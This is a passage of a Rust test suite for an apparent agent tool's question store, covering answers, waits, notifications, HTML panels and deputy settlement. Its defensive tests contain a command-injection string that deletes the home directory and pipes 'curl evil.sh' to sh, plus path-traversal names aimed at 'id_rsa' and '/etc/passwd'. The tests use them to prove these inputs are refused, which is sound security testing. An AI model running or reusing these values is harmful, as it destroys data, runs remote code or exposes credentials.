2890 .answer(Answer::Choice("Redis".to_owned()))
2891 .unwrap_err()
2892 .to_string();
2893
2894 assert!(a.contains("not one of the choices"), "{a}");
2895 assert!(b.contains("multiple choice"), "{b}");
2896 assert!(c.contains("empty"), "{c}");
2897 assert!(d.contains("already answered"), "{d}");
2898 let mut distinct = vec![a, b, c, d];
2899 let asked = distinct.len();
2900 distinct.sort_unstable();
2901 distinct.dedup();
2902 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2903
2904 assert_eq!(unoffered.status, QuestionStatus::Open);
2906 assert_eq!(typed.status, QuestionStatus::Open);
2907 assert_eq!(blank.status, QuestionStatus::Open);
2908 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2910
2911 let mut free = free_question();
2913 let e = free
2914 .answer(Answer::Choice("SQLite".to_owned()))
2915 .unwrap_err()
2916 .to_string();
2917 assert!(e.contains("free text"), "{e}");
2918 }
2919
2920 #[test]
2921 fn open_questions_are_listed_before_answered_ones() {
2922 let (_dir, s) = store();
2923 let mut old_open = choice_question();
2926 old_open.id = "20260101-000001-aaaa".to_owned();
2927 let mut new_open = choice_question();
2928 new_open.id = "20260101-000002-bbbb".to_owned();
2929 let mut answered = choice_question();
2930 answered.id = "20260101-000003-cccc".to_owned();
2931 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2932 for q in [&mut old_open, &mut new_open, &mut answered] {
2933 s.put(q).unwrap();
2934 }
2935
2936 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2937 assert_eq!(
2938 ids,
2939 [
2940 "20260101-000002-bbbb",
2941 "20260101-000001-aaaa",
2942 "20260101-000003-cccc"
2943 ],
2944 "what has stopped work comes first; history sorts underneath"
2945 );
2946 assert_eq!(s.count_open(), 2);
2947 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2948 assert!(s.open_for("some-other-run").is_empty());
2949 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2951 assert!(s.get("20260101-000002-bbbb").is_ok());
2952 assert!(s.resolve_id("nope").is_err());
2953 assert!(
2954 s.revision() > 0,
2955 "the store's mtime drives the phone's polling"
2956 );
2957 }
2958
2959 #[test]
2960 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2961 let (_dir, s) = store();
2962 let mut good = choice_question();
2963 s.put(&mut good).unwrap();
2964 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2966 let future = serde_json::json!({
2967 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2968 "seat": "s", "summary": "?", "detail": "", "choices": [],
2969 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2970 "answered_at": null, "answer": null,
2971 });
2972 std::fs::write(
2973 s.path_of("20260101-000010-beef"),
2974 serde_json::to_string(&future).unwrap(),
2975 )
2976 .unwrap();
2977
2978 let listed = s.list();
2979 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2980 assert_eq!(listed[0].id, good.id);
2981 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2983 assert!(e.contains("schema"), "{e}");
2984 }
2985
2986 #[tokio::test]
2987 async fn the_wait_returns_the_answer_another_process_wrote() {
2988 let (dir, s) = store();
2993 let mut q = choice_question();
2994 let id = q.id.clone();
2995 let writer = Questions::at(dir.path().join("questions"));
2996 let handle = tokio::spawn(async move {
2997 tokio::time::sleep(Duration::from_millis(30)).await;
2998 let mut fresh = writer.get(&id).expect("the question was filed first");
2999 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3000 writer.put(&mut fresh).unwrap();
3001 });
3002
3003 let got = wait_for_owner(
3004 &mut q,
3005 &s,
3006 &quiet(),
3007 Duration::from_secs(5),
3008 Duration::from_millis(10),
3009 )
3010 .await
3011 .unwrap();
3012
3013 handle.await.unwrap();
3014 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
3015 assert_eq!(
3016 q.status,
3017 QuestionStatus::Answered,
3018 "the caller's copy is refreshed from the answering process's record"
3019 );
3020 assert!(q.answered_at.is_some());
3021 }
3022
3023 #[tokio::test]
3024 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
3025 let (_dir, s) = store();
3026 let mut q = choice_question();
3027
3028 let got = wait_for_owner(
3029 &mut q,
3030 &s,
3031 &quiet(),
3032 Duration::from_millis(60),
3033 Duration::from_millis(10),
3034 )
3035 .await
3036 .unwrap();
3037
3038 assert_eq!(
3039 got,
3040 Wait::Abandoned,
3041 "a slow human is not an error; the run parks"
3042 );
3043 assert_eq!(q.status, QuestionStatus::Abandoned);
3044 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
3045 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
3046 assert!(
3047 on_disk.detail.contains("Abandoned:"),
3048 "why nobody answered belongs with the question: {}",
3049 on_disk.detail
3050 );
3051 assert!(on_disk.resolution().is_none());
3052 assert_eq!(s.count_open(), 0);
3053 }
3054
3055 #[tokio::test]
3056 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
3057 let (_dir, s) = store();
3062 let mut q = choice_question();
3063 s.put(&mut q).unwrap();
3064
3065 let got = wait_loop(
3066 &mut q,
3067 &s,
3068 Duration::from_secs(3600),
3069 Duration::from_millis(30),
3070 Duration::from_millis(10),
3071 )
3072 .await
3073 .unwrap();
3074
3075 assert_eq!(
3076 got,
3077 Wait::Pending,
3078 "the clock on this call ran out, not the owner's patience"
3079 );
3080 assert_eq!(
3081 q.status,
3082 QuestionStatus::Open,
3083 "a slice expiring must never abandon the question"
3084 );
3085 let on_disk = s.get(&q.id).expect("still on disk, still open");
3086 assert_eq!(
3087 on_disk.status,
3088 QuestionStatus::Open,
3089 "nothing about the record changed just because this call gave up"
3090 );
3091 }
3092
3093 #[tokio::test]
3094 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
3095 let (dir, s) = store();
3100 let mut q = choice_question();
3101 s.put(&mut q).unwrap();
3102
3103 let first = wait_loop(
3104 &mut q,
3105 &s,
3106 Duration::from_secs(3600),
3107 Duration::from_millis(30),
3108 Duration::from_millis(10),
3109 )
3110 .await
3111 .unwrap();
3112 assert_eq!(first, Wait::Pending);
3113
3114 let id = q.id.clone();
3115 let writer = Questions::at(dir.path().join("questions"));
3116 let mut fresh = writer.get(&id).unwrap();
3117 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3118 writer.put(&mut fresh).unwrap();
3119
3120 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
3125 .await
3126 .unwrap();
3127 assert_eq!(second, Wait::Answered("Redis".to_owned()));
3128 assert_eq!(q.status, QuestionStatus::Answered);
3129 }
3130
3131 #[tokio::test]
3132 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
3133 let (dir, s) = store();
3143 let mut q = choice_question();
3144 s.put(&mut q).unwrap();
3145
3146 let first = wait_loop(
3147 &mut q,
3148 &s,
3149 Duration::from_secs(3600),
3150 Duration::from_millis(30),
3151 Duration::from_millis(10),
3152 )
3153 .await
3154 .unwrap();
3155 assert_eq!(first, Wait::Pending);
3156
3157 let id = q.id.clone();
3159 let writer = Questions::at(dir.path().join("questions"));
3160 let mut fresh = writer.get(&id).unwrap();
3161 fresh.say("why not Postgres?").unwrap();
3162 writer.put(&mut fresh).unwrap();
3163
3164 let mut resumed = s.get(&id).unwrap();
3168 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3169 .await
3170 .unwrap();
3171 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3172 assert_eq!(
3173 resumed.status,
3174 QuestionStatus::Open,
3175 "talking back is not a decision; the question stays open"
3176 );
3177 }
3178
3179 #[tokio::test]
3180 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3181 let (dir, s) = store();
3185 let broken = config::Notify {
3186 command: vec![
3187 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3188 "{summary}".to_owned(),
3189 ],
3190 };
3191 let mut q = choice_question();
3192 assert!(
3193 notify(&broken, &q).await.is_err(),
3194 "the caller is told; it decides that it does not matter"
3195 );
3196
3197 let id = q.id.clone();
3198 let writer = Questions::at(dir.path().join("questions"));
3199 let handle = tokio::spawn(async move {
3200 tokio::time::sleep(Duration::from_millis(30)).await;
3201 let mut fresh = writer.get(&id).unwrap();
3202 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3203 writer.put(&mut fresh).unwrap();
3204 });
3205 let got = wait_for_owner(
3206 &mut q,
3207 &s,
3208 &broken,
3209 Duration::from_secs(5),
3210 Duration::from_millis(10),
3211 )
3212 .await
3213 .unwrap();
3214 handle.await.unwrap();
3215 assert_eq!(got, Wait::Answered("Redis".to_owned()));
3216
3217 assert!(notify(&quiet(), &q).await.is_ok());
3219 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3220 }
3221
3222 #[tokio::test]
3223 async fn external_question_notification_names_the_supported_response_path() {
3224 let dir = tempfile::tempdir().unwrap();
3225 let path = dir.path().join("page");
3226 let cmd = config::Notify {
3227 command: vec![
3228 "sh".into(),
3229 "-c".into(),
3230 "printf '%s' \"$1\" > \"$2\"".into(),
3231 "notify".into(),
3232 "{summary}".into(),
3233 path.to_string_lossy().into_owned(),
3234 ],
3235 };
3236 let q = choice_question();
3237 notify(&cmd, &q).await.unwrap();
3238 let sent = std::fs::read_to_string(&path).unwrap();
3239 assert!(sent.starts_with("Question "));
3240 assert!(sent.contains(&q.summary));
3241 assert!(sent.contains(&format!("magi answer {}", q.id)));
3242 notify_text(&cmd, "", "Informational report. No reply needed.")
3243 .await
3244 .unwrap();
3245 assert_eq!(
3246 std::fs::read_to_string(&path).unwrap(),
3247 "Informational report. No reply needed."
3248 );
3249 }
3250
3251 #[test]
3252 fn external_notifications_and_questions_have_distinct_destinations() {
3253 assert_eq!(
3254 question_url("https://example.invalid/"),
3255 "https://example.invalid/#/questions"
3256 );
3257 assert_eq!(
3258 view_url("https://example.invalid/", "notifications"),
3259 "https://example.invalid/#/notifications"
3260 );
3261 assert_eq!(view_url("", "notifications"), "");
3262 assert_eq!(
3263 view_url("https://example.invalid/#/queue", "notifications"),
3264 "https://example.invalid/#/queue"
3265 );
3266 }
3267
3268 #[test]
3269 fn notification_arguments_are_substituted_and_never_a_shell_string() {
3270 let mut q = choice_question();
3271 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3272 let template = [
3273 "ntfy".to_owned(),
3274 "publish".to_owned(),
3275 "--click".to_owned(),
3276 "{url}".to_owned(),
3277 "--title".to_owned(),
3278 "magi {run} needs you".to_owned(),
3279 "{summary}".to_owned(),
3280 ];
3281 let argv: Vec<String> = template
3282 .iter()
3283 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3284 .collect();
3285
3286 assert_eq!(
3287 argv,
3288 [
3289 "ntfy",
3290 "publish",
3291 "--click",
3292 "http://100.64.0.1:7777/#/questions",
3293 "--title",
3294 "magi 20260902-201256-9fb7 needs you",
3295 "; rm -rf ~ && curl evil.sh | sh #",
3296 ],
3297 "the shell metacharacters are one argument's contents, not syntax"
3298 );
3299
3300 q.summary = "should {url} be configurable?".to_owned();
3303 assert_eq!(
3304 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3305 "should {url} be configurable?"
3306 );
3307 assert_eq!(
3309 expand("{title}: {run}", &q.run, &q.summary, ""),
3310 "{title}: 20260902-201256-9fb7"
3311 );
3312 assert_eq!(
3313 expand("no placeholders", &q.run, &q.summary, "http://x"),
3314 "no placeholders"
3315 );
3316 }
3317
3318 #[test]
3319 fn the_notification_link_lands_on_the_view_that_can_answer() {
3320 assert_eq!(
3321 question_url("http://100.64.0.1:7777"),
3322 "http://100.64.0.1:7777/#/questions"
3323 );
3324 assert_eq!(
3325 question_url("http://100.64.0.1:7777/"),
3326 "http://100.64.0.1:7777/#/questions"
3327 );
3328 assert_eq!(
3330 question_url("http://magi.ts.net/#/runs"),
3331 "http://magi.ts.net/#/runs"
3332 );
3333 assert_eq!(question_url(" "), "");
3335 }
3336
3337 fn panelled() -> Question {
3339 let mut q = choice_question();
3340 q.id = "20260903-014455-ab12".to_owned();
3341 q
3342 }
3343
3344 #[test]
3345 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3346 let (dir, s) = store();
3347 let work = dir.path().join("worktree");
3348 std::fs::create_dir_all(&work).unwrap();
3349 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3350 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3351
3352 let mut q = panelled();
3353 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3354 s.put_panel(
3355 &mut q,
3356 html,
3357 &[work.join("table.png"), work.join("diff.svg")],
3358 )
3359 .unwrap();
3360 s.put(&mut q).unwrap();
3361
3362 assert!(q.panel);
3363 assert_eq!(
3364 q.assets,
3365 ["diff.svg", "table.png"],
3366 "sorted, not in the order the agent happened to pass them"
3367 );
3368 assert_eq!(
3369 s.panel_html(&q.id).as_deref(),
3370 Some(html),
3371 "the html is stored byte for byte; the agent authored the markup"
3372 );
3373 assert_eq!(
3374 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3375 Some(&b"<svg/>"[..])
3376 );
3377
3378 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3380 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3381 assert_eq!(json["panel"], true);
3382 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3383 let back = s.get(&q.id).unwrap();
3384 assert!(back.panel);
3385 assert_eq!(back.assets, q.assets);
3386
3387 std::fs::remove_dir_all(&work).unwrap();
3390 assert_eq!(
3391 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3392 Some(&b"\x89PNG"[..]),
3393 "a referenced asset would be gone with the worktree"
3394 );
3395 }
3396
3397 #[test]
3398 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3399 let (dir, s) = store();
3400 let mut q = panelled();
3401 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3402 s.put(&mut q).unwrap();
3403
3404 let secret = "this must never reach the browser";
3407 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3408 assert_eq!(
3409 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3410 secret,
3411 "the traversal is real: the operating system resolves this path \
3412 happily, which is why the name has to be refused before the join"
3413 );
3414
3415 let long = "x".repeat(200);
3416 for name in [
3417 "..",
3418 "../id_rsa",
3419 "..\\id_rsa",
3420 "sub/../id_rsa",
3421 "/",
3422 "\\",
3423 "/etc/passwd",
3424 "C:\\Windows\\win.ini",
3425 "",
3426 ".hidden",
3427 ".",
3428 long.as_str(),
3429 ] {
3430 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3431 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3432 assert!(
3433 e.contains("not a panel file name"),
3434 "`{name}` must be refused as a name, not attempted: {e}"
3435 );
3436 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3437 }
3438 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3441
3442 let hidden = dir.path().join(".hidden");
3445 std::fs::write(&hidden, "x").unwrap();
3446 let e = s
3447 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3448 .unwrap_err()
3449 .to_string();
3450 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3451 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3452 assert!(q.assets.is_empty());
3453 }
3454
3455 #[test]
3456 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3457 let (dir, s) = store();
3458 let mut q = panelled();
3459 s.put(&mut q).unwrap();
3460
3461 let big = dir.path().join("recording.png");
3464 std::fs::File::create(&big)
3465 .unwrap()
3466 .set_len(PANEL_MAX_BYTES)
3467 .unwrap();
3468
3469 let html = "<p>see the recording</p>";
3470 let total = PANEL_MAX_BYTES + html.len() as u64;
3471 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3472 assert!(
3473 e.contains(&PANEL_MAX_BYTES.to_string()),
3474 "the cap is named so the agent knows the limit: {e}"
3475 );
3476 assert!(
3477 e.contains(&total.to_string()),
3478 "the actual size is named so the agent knows by how much: {e}"
3479 );
3480
3481 assert!(!q.panel);
3482 assert!(q.assets.is_empty());
3483 let left: Vec<String> = std::fs::read_dir(s.root())
3484 .unwrap()
3485 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3486 .collect();
3487 assert_eq!(
3488 left,
3489 [format!("{}.json", q.id)],
3490 "a refused panel leaves neither a directory nor scratch: {left:?}"
3491 );
3492 }
3493
3494 #[test]
3495 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3496 let (dir, s) = store();
3497 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3498 std::fs::create_dir_all(&before).unwrap();
3499 std::fs::create_dir_all(&after).unwrap();
3500 std::fs::write(before.join("diff.png"), "before").unwrap();
3501 std::fs::write(after.join("diff.png"), "after").unwrap();
3502
3503 let mut q = panelled();
3504 let e = s
3505 .put_panel(
3506 &mut q,
3507 "<p>x</p>",
3508 &[before.join("diff.png"), after.join("diff.png")],
3509 )
3510 .unwrap_err()
3511 .to_string();
3512 assert!(e.contains("diff.png"), "{e}");
3513 assert!(
3514 e.contains("before") && e.contains("after"),
3515 "both sources are named, because the fix is to rename one: {e}"
3516 );
3517 assert!(!q.panel);
3518 assert!(!s.panel_dir(&q.id).exists());
3519 }
3520
3521 #[test]
3522 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3523 let (_dir, s) = store();
3524 let barrier = std::sync::Barrier::new(8);
3525 let ids = std::thread::scope(|scope| {
3526 let handles: Vec<_> = (0..8)
3527 .map(|worker| {
3528 let s = &s;
3529 let barrier = &barrier;
3530 scope.spawn(move || {
3531 barrier.wait();
3532 (0..16)
3533 .map(|index| {
3534 let mut q = choice_question();
3535 q.id = new_id_at("20261020-224346", 0xf8ef);
3538 q.summary = format!("worker {worker}, question {index}");
3539 assert!(valid_asset_name(&q.id));
3540 assert_eq!(q.short(), "f8ef");
3541 let html = format!("<p>{}</p>", q.summary);
3542 s.put_panel(&mut q, &html, &[]).unwrap();
3543 s.put(&mut q).unwrap();
3544 (q.id, q.summary, html)
3545 })
3546 .collect::<Vec<_>>()
3547 })
3548 })
3549 .collect();
3550 handles
3551 .into_iter()
3552 .flat_map(|handle| handle.join().unwrap())
3553 .collect::<Vec<_>>()
3554 });
3555 assert_eq!(s.list().len(), ids.len());
3556 for (id, summary, html) in ids {
3557 assert_eq!(s.get(&id).unwrap().summary, summary);
3558 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3559 }
3560 }
3561
3562 #[test]
3563 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3564 let (dir, s) = store();
3565 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3566 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3567
3568 let mut q = panelled();
3569 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3570 .unwrap();
3571 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3572 .unwrap();
3573
3574 assert_eq!(q.assets, ["new.png"]);
3575 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3576 assert!(
3577 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3578 "an asset from the first attempt would show a mix of two answers"
3579 );
3580
3581 s.drop_panel(&q.id).unwrap();
3582 assert!(s.panel_html(&q.id).is_none());
3583 assert!(!s.panel_dir(&q.id).exists());
3584 s.drop_panel(&q.id)
3585 .expect("dropping a panel that is already gone is the desired state");
3586 }
3587
3588 #[test]
3589 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3590 let (_dir, s) = store();
3591 let mut q = panelled();
3592 s.put(&mut q).unwrap();
3593
3594 assert!(!q.panel);
3595 assert!(s.panel_html(&q.id).is_none());
3596 assert!(
3597 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3598 "a missing file is a 404 for the caller, not a failure of the store"
3599 );
3600 let json = serde_json::to_value(&q).unwrap();
3601 assert_eq!(json["panel"], false);
3602 assert_eq!(json["assets"], serde_json::json!([]));
3603
3604 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3607 assert!(e.contains("empty panel"), "{e}");
3608 assert!(!s.panel_dir(&q.id).exists());
3609 }
3610
3611 #[test]
3612 fn a_question_written_before_panels_existed_still_deserialises() {
3613 let (_dir, s) = store();
3614 std::fs::create_dir_all(s.root()).unwrap();
3615 let id = "20260902-231501-ab12";
3616 let body = r#"{
3618 "schema": 1,
3619 "id": "20260902-231501-ab12",
3620 "run": "20260902-201256-9fb7",
3621 "node": "implement",
3622 "seat": "impl-A",
3623 "summary": "Which storage backend should the cache use?",
3624 "detail": "Both are already dependencies.",
3625 "choices": ["SQLite", "Redis"],
3626 "status": "open",
3627 "asked_at": "2026-09-02T23:15:01Z",
3628 "answered_at": null,
3629 "answer": null
3630}"#;
3631 std::fs::write(s.path_of(id), body).unwrap();
3632
3633 let q = s.get(id).unwrap();
3634 assert!(
3635 !q.panel,
3636 "an absent field means no panel, not a parse error"
3637 );
3638 assert!(q.assets.is_empty());
3639 assert_eq!(q.schema, 1);
3644 assert!(q.thread.is_empty());
3645 assert_eq!(
3646 q.answer_timeout, 0,
3647 "an absent field means unrecorded, not a zero-second deadline"
3648 );
3649 assert!(!q.waiting_on_agent());
3650 assert_eq!(q.summary, "Which storage backend should the cache use?");
3651 assert_eq!(
3652 s.list().len(),
3653 1,
3654 "and it is still listed; skipping it would hide an open question"
3655 );
3656 }
3657
3658 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3659 Turn {
3660 who,
3661 body: body.to_owned(),
3662 at,
3663 note: None,
3664 }
3665 }
3666
3667 #[test]
3668 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3669 let mut q = choice_question();
3672 q.thread
3673 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3674 let value = serde_json::to_value(&q.thread[0]).unwrap();
3675 let mut keys: Vec<&str> = value
3676 .as_object()
3677 .unwrap()
3678 .keys()
3679 .map(String::as_str)
3680 .collect();
3681 keys.sort_unstable();
3682 assert_eq!(keys, ["at", "body", "who"]);
3683 assert_eq!(value["who"], "operator");
3684 assert_eq!(value["body"], "why not Postgres?");
3685
3686 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3687 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3688 assert_eq!(parsed.who, Who::Agent);
3689 }
3690
3691 fn approval_question() -> Question {
3692 let mut q = Question::new(
3693 "run".into(),
3694 crate::land::APPROVAL_NODE.into(),
3695 "land".into(),
3696 "Merge?".into(),
3697 String::new(),
3698 vec!["merge".into(), "hold".into()],
3699 );
3700 let mut dep = Deputy::new("brief".into());
3701 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3702 q.deputy = Some(dep);
3703 q
3704 }
3705
3706 #[test]
3707 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3708 let target = || crate::merge_decision::Target {
3709 pr: "PR 42".into(),
3710 head: "abc".into(),
3711 language: "en".into(),
3712 };
3713 let mut q = approval_question();
3715 q.merge_target = Some(target());
3716 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3717 .unwrap();
3718 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3719 .unwrap();
3720 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3721 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3722 for choice in [
3724 crate::land::HOLD,
3725 crate::land::REPAIR,
3726 crate::merge_decision::WITHDRAW,
3727 "reimplement:beta",
3728 ] {
3729 let mut q = approval_question();
3730 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3731 q.merge_target = Some(target());
3732 q.say("ちょっと待って、そっちでお願い").unwrap();
3733 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3734 .unwrap();
3735 assert_eq!(q.resolution().as_deref(), Some(choice));
3736 }
3737 let mut release = Question::new(
3739 String::new(),
3740 crate::bump::NOTICE_NODE.into(),
3741 "release-watch".into(),
3742 "Release?".into(),
3743 String::new(),
3744 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3745 );
3746 release.deputy = approval_question().deputy;
3747 release.say("リリースしていいよ").unwrap();
3748 release
3749 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3750 .unwrap();
3751 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3752 }
3753
3754 #[test]
3755 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3756 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3757 for choice in [POST_ORIGINAL, USE_REWRITE] {
3758 let mut q = Question::new(
3759 "run".into(),
3760 ASK_NODE.into(),
3761 ASK_SEAT.into(),
3762 "s".into(),
3763 String::new(),
3764 vec![USE_FALLBACK.into(), choice.into()],
3765 );
3766 q.deputy = approval_question().deputy;
3767 q.say("それでいいよ、投稿して").unwrap();
3768 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3769 assert_eq!(q.resolution().as_deref(), Some(choice));
3770 }
3771 let mut discard = approval_question();
3772 discard.node = "recovery".into();
3773 discard.choices.push("discard".into());
3774 discard.actions.insert("discard".into(), ChoiceAction::Done);
3775 discard.say("おっけーそれぞれ回答してー").unwrap();
3776 discard
3777 .settle_by_deputy("deputy-x", "discard", None)
3778 .unwrap();
3779 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3780 }
3781
3782 #[test]
3783 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3784 let mut q = choice_question();
3785 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3786 q.actions
3787 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3788 q.clone()
3789 .answer(Answer::Choice(crate::land::HOLD.into()))
3790 .unwrap();
3791 q.actions
3792 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3793 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3794 }
3795
3796 fn settle_ready() -> Question {
3797 let mut q = Question::new(
3798 "task".to_owned(),
3799 "conduct".to_owned(),
3800 "conduct".to_owned(),
3801 "Done?".to_owned(),
3802 String::new(),
3803 vec!["yes".to_owned(), "no".to_owned()],
3804 );
3805 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3806 seat.turns = 1;
3807 let mut dep = Deputy::new("brief".to_owned());
3808 dep.seat = Some(seat);
3809 q.deputy = Some(dep);
3810 q.say("setup done, and file a follow-up").unwrap();
3811 q
3812 }
3813
3814 #[test]
3815 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3816 let dir = tempfile::TempDir::new().unwrap();
3817 let store = Questions::at(dir.path().join("questions"));
3818 let mut q = settle_ready();
3819 let id = q.id.clone();
3820 store.put(&mut q).unwrap();
3821 store
3822 .update(&id, |q| {
3823 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3824 })
3825 .unwrap();
3826 let back = store.get(&id).unwrap();
3827 let turn = back.thread.last().unwrap();
3828 assert_eq!(turn.who, Who::Agent);
3829 assert!(turn.body.starts_with("Settled as `yes`"));
3830 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3831 assert_eq!(back.thread[0].note, None);
3832 }
3833
3834 #[test]
3835 fn an_empty_or_blank_settle_note_is_no_note() {
3836 for note in [None, Some(""), Some(" \n ")] {
3837 let mut q = settle_ready();
3838 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3839 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3840 let json = serde_json::to_string(&q).unwrap();
3841 assert!(!json.contains("\"note\""), "no key when there is none");
3842 }
3843 }
3844
3845 #[test]
3846 fn a_refused_settle_leaves_no_note_behind() {
3847 let mut q = settle_ready();
3848 let before = q.thread.clone();
3849 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3850 assert!(
3851 q.settle_by_deputy("someone-else", "yes", Some("n"))
3852 .is_err()
3853 );
3854 assert_eq!(q.thread, before);
3855 assert_eq!(q.status, QuestionStatus::Open);
3856 }
3857
3858 #[test]
3859 fn a_turn_written_before_notes_existed_still_reads() {
3860 let t: Turn =
3861 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3862 .unwrap();
3863 assert_eq!(t.note, None);
3864 }
3865
3866 #[test]
3867 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3868 let mut q = Question::new(
3869 "task".to_owned(),
3870 "conduct".to_owned(),
3871 "conduct".to_owned(),
3872 "Done?".to_owned(),
3873 String::new(),
3874 vec!["yes".to_owned(), "no".to_owned()],
3875 );
3876 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3877 seat.turns = 1;
3878 let mut dep = Deputy::new("brief".to_owned());
3879 dep.seat = Some(seat);
3880 q.deputy = Some(dep);
3881 q.say("setup done, go ahead").unwrap();
3882
3883 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3884 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3885 let mut routed = q.clone();
3886 routed.routed_task = Some("task".into());
3887 assert!(
3888 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3889 "a routed decision belongs to the task chat"
3890 );
3891 assert_eq!(q.status, QuestionStatus::Open);
3892
